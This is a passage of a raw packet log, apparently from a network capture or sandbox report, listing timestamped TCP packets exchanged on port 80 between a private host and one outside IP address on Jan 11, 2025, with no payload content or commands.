Jan 11, 2025 07:47:50.430461884 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.430465937 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.430478096 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.430494070 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.430501938 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.430510998 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.430526018 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.430529118 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.430541992 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.430557013 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.430568933 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.430572987 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.430598021 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.431226969 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.431242943 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.431257010 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.431267023 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.431272984 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.431288958 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.431292057 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.431304932 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.431330919 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.431339025 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.431345940 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.431360960 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.439773083 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.439804077 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.439819098 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.439846992 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.439872980 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.439961910 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.443914890 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.471797943 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.471829891 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.471847057 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.471860886 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.471870899 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.471878052 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.471899986 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.498016119 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.501053095 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.501080990 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.501096964 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.501111984 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.501112938 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.501127958 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.501141071 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.501144886 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.501173973 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.501218081 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.501233101 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.501246929 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.501251936 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.501264095 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.501281023 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.508249044 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.514142990 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.514178038 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.514195919 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.514230967 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.514252901 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.514265060 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.514271021 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.514300108 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.514610052 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.530153036 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.530169964 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.530184984 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.530205965 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.530227900 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.530242920 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.530257940 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.530261993 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.530287027 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.530312061 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.530325890 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.530340910 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.530354977 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.530355930 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.530394077 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.544090986 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544116974 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544131994 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544147015 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544150114 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.544166088 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544181108 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544190884 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.544199944 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544219971 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.544236898 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544270039 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.544336081 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544406891 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544420958 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544437885 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544440985 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.544452906 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544466972 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544469118 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.544524908 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.544698954 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544748068 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544763088 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544780016 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.544806004 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544822931 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544837952 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544843912 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.544855118 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.544868946 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.545250893 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.545273066 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.545280933 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.545289993 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.545305014 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.545320034 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.545326948 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.545402050 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.545423031 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.545424938 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.545439005 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.545454025 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.545456886 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.545469999 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.545481920 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.545484066 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.545500994 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.545536041 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.545959949 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.546119928 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.546165943 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.546169996 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.546185970 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.546217918 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.546225071 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.546241045 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.546255112 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.546269894 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.546279907 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.546293974 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.546307087 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.546329021 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.546329975 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.546344995 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.546348095 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.546360970 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.546391964 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.547090054 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.547105074 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.547117949 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.547133923 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.547144890 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.547158957 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.547163963 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.547175884 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.547195911 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.547204018 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.547224998 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.547291994 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.547307014 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.547332048 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.547334909 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.547347069 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.547363043 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.547383070 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.548095942 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.548110008 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.548124075 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.548130035 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.548146963 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.548160076 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.548161030 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.548176050 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.548187017 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.548191071 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.548206091 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.548219919 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.548233032 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.548243046 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.548248053 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.548258066 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.548264980 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.548285007 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.548999071 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.549020052 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.549030066 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.549035072 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.549050093 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.549065113 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.549074888 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.549081087 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.549093962 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.549098969 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.549137115 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.559243917 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.559277058 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.559289932 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.559298992 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.559326887 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.559331894 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.559348106 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.559365034 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.559391975 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.559395075 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.559412003 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.559447050 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.588613987 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.588635921 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.588653088 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.588668108 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.588680029 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.588684082 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.588700056 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.588715076 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.588717937 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.588757038 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.595494032 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.600847006 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.601645947 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.601671934 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.601689100 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.601753950 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.601771116 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.601788044 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.601788998 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.601810932 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.601820946 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.601826906 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.601844072 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.601857901 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.601912022 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.601927042 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.601947069 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.601950884 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.601965904 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.601979971 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.601980925 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.601995945 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.602010012 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.602016926 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.602049112 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.618021965 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.618088961 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.618103981 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.618120909 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.618134975 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.618145943 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.618175030 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.618199110 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.618213892 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.618227959 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.618232012 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.618258953 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.631620884 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.631715059 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.631736040 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.631752014 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.631756067 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.631777048 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.631787062 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.631794930 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.631809950 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.631825924 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.631825924 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.631844044 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.631859064 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.631871939 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.631882906 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.631887913 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.631920099 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.631963968 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.631978035 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632000923 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632010937 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.632014990 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632030010 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632044077 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632049084 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.632060051 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632071972 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.632086039 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632102013 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632119894 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.632337093 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632358074 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632371902 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.632374048 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632389069 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632402897 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632412910 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.632436037 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.632441998 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632456064 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632472038 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632486105 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632492065 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.632500887 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632518053 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.632560968 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632575989 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632590055 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632591009 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.632606030 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632627010 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.632925034 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632940054 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632956028 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632960081 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.632977962 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.632987022 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.633008957 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633023977 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633038044 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633043051 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.633054018 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633073092 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.633085012 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633100033 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633115053 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633116961 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.633128881 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633143902 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633158922 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.633187056 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.633228064 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633241892 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633255959 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633270979 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633276939 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.633286953 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633310080 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.633691072 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633728027 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.633743048 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633759975 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633775949 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633790970 CET	80	49716	193.143.1.205	192.168.2.6
Jan 11, 2025 07:47:50.633797884 CET	49716	80	192.168.2.6	193.143.1.205
Jan 11, 2025 07:47:50.633829117 CET	49716	80	192.168.2.6	193.143.1.205
